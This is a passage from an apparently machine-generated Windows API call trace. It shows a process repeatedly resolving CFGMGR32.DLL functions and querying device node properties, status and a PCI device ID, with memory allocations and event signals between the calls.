lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0205.288] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0205.288] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0205.288] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0205.288] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0205.288] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0205.289] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0205.289] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0205.289] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0205.289] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0205.289] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0205.289] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0205.289] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0205.290] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0205.290] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0205.290] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0205.290] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0205.290] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0205.290] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0205.290] malloc (_Size=0x18) returned 0x20abc2819a0 [0205.291] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0205.291] malloc (_Size=0x48) returned 0x20abc27cb20 [0205.291] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x362151ae, dwHighDateTime=0x1d9eb0c)) [0205.291] SetEvent (hEvent=0x248) returned 1 [0205.295] malloc (_Size=0xd8) returned 0x20abc2867b0 [0205.295] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0205.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0205.295] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0205.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0205.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0205.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0205.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0205.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0205.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0205.296] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0205.297] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0205.297] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0205.297] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0205.297] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0205.297] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0205.297] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0205.297] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0205.297] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0205.298] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0205.298] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0205.298] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0205.298] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0205.298] malloc (_Size=0x18) returned 0x20abc281be0 [0205.298] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0205.299] malloc (_Size=0x48) returned 0x20abc27cb20 [0205.299] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x362151ae, dwHighDateTime=0x1d9eb0c)) [0205.299] SetEvent (hEvent=0x248) returned 1 [0205.560] malloc (_Size=0xd8) returned 0x20abc2867b0 [0205.560] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0205.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0205.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0205.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0205.561] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0205.561] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0205.561] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0205.561] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0205.561] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0205.561] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0205.561] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0205.562] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0205.562] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0205.562] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0205.562] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0205.562] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0205.562] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0205.562] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0205.563] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0205.563] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0205.563] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0205.563] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0205.563] malloc (_Size=0x18) returned 0x20abc281f80 [0205.563] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0205.567] malloc (_Size=0x48) returned 0x20abc27cb20 [0205.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3649d302, dwHighDateTime=0x1d9eb0c)) [0205.568] SetEvent (hEvent=0x248) returned 1 [0205.571] malloc (_Size=0xd8) returned 0x20abc2867b0 [0205.571] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0205.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0205.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0205.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0205.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0205.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0205.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0205.572] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0205.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0205.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0205.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0205.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0205.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0205.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0205.573] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0205.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0205.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0205.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0205.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0205.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0205.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0205.574] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0205.574] malloc (_Size=0x18) returned 0x20abc281d20 [0205.575] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x29, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0205.575] malloc (_Size=0x48) returned 0x20abc27cf80 [0205.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x364c367f, dwHighDateTime=0x1d9eb0c)) [0205.575] SetEvent (hEvent=0x248) returned 1 [0205.580] malloc (_Size=0xd8) returned 0x20abc2867b0 [0205.580] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0205.580] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0205.580] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0205.580] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0205.580] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0205.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0205.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0205.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0205.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0205.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0205.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0205.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0205.581] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0205.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0205.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0205.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0205.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0205.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0205.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0205.582] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0205.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0205.583] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0205.583] malloc (_Size=0x18) returned 0x20abc281b40 [0205.583] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x29, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0205.583] malloc (_Size=0x48) returned 0x20abc27cb20 [0205.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x364c367f, dwHighDateTime=0x1d9eb0c)) [0205.584] SetEvent (hEvent=0x248) returned 1 [0205.588] malloc (_Size=0xd8) returned 0x20abc2867b0 [0205.588] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0205.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0205.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0205.588] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0205.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0205.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0205.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0205.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0205.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0205.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0205.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0205.589] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0205.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0205.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0205.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0205.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0205.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0205.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0205.590] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0205.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0205.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0205.591] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0205.591] malloc (_Size=0x18) returned 0x20abc281a00 [0205.591] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0205.591] malloc (_Size=0x48) returned 0x20abc27cb20 [0205.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x364e9987, dwHighDateTime=0x1d9eb0c)) [0205.592] SetEvent (hEvent=0x248) returned 1 [0205.598] malloc (_Size=0xd8) returned 0x20abc2867b0 [0205.598] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0205.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0205.598] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0205.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0205.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0205.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0205.599] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0205.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0205.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0205.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0205.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0205.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0205.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0205.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0205.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0205.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0205.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0205.774] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0205.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0205.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0205.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0205.775] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0205.775] malloc (_Size=0x18) returned 0x20abc281c80 [0205.776] CM_Get_Device_IDA (in: dnDevInst=0x2a, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2668&SUBSYS_11001AF4&REV_01\\3&11583659&0&38") returned 0x0 [0205.776] malloc (_Size=0x48) returned 0x20abc27cb20 [0205.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x366b3534, dwHighDateTime=0x1d9eb0c)) [0205.776] SetEvent (hEvent=0x248) returned 1 [0205.780] malloc (_Size=0xd8) returned 0x20abc2867b0 [0205.780] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0205.780] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0205.780] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0205.781] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0205.781] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0205.781] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0205.781] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0205.781] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0205.781] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0205.782] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0205.782] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0205.782] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0205.782] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0205.782] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0205.782] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0205.783] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0205.783] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0205.783] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0205.783] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0205.783] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0205.783] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0205.784] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0205.784] malloc (_Size=0x18) returned 0x20abc281c20 [0205.784] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0205.785] malloc (_Size=0x124) returned 0x20abc286890 [0205.785] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0205.787] free (_Block=0x20abc286890) [0205.787] malloc (_Size=0x48) returned 0x20abc27cf80 [0205.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x366da1a9, dwHighDateTime=0x1d9eb0c)) [0205.788] SetEvent (hEvent=0x248) returned 1 [0205.792] malloc (_Size=0x18) returned 0x20abc281960 [0205.792] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc40a498) returned 0x0 [0205.792] free (_Block=0x20abc281960) [0205.792] malloc (_Size=0x18) returned 0x20abc281aa0 [0205.792] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc40a498) returned 0x0 [0205.792] free (_Block=0x20abc281aa0) [0205.792] malloc (_Size=0x18) returned 0x20abc281ee0 [0205.792] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc40a498) returned 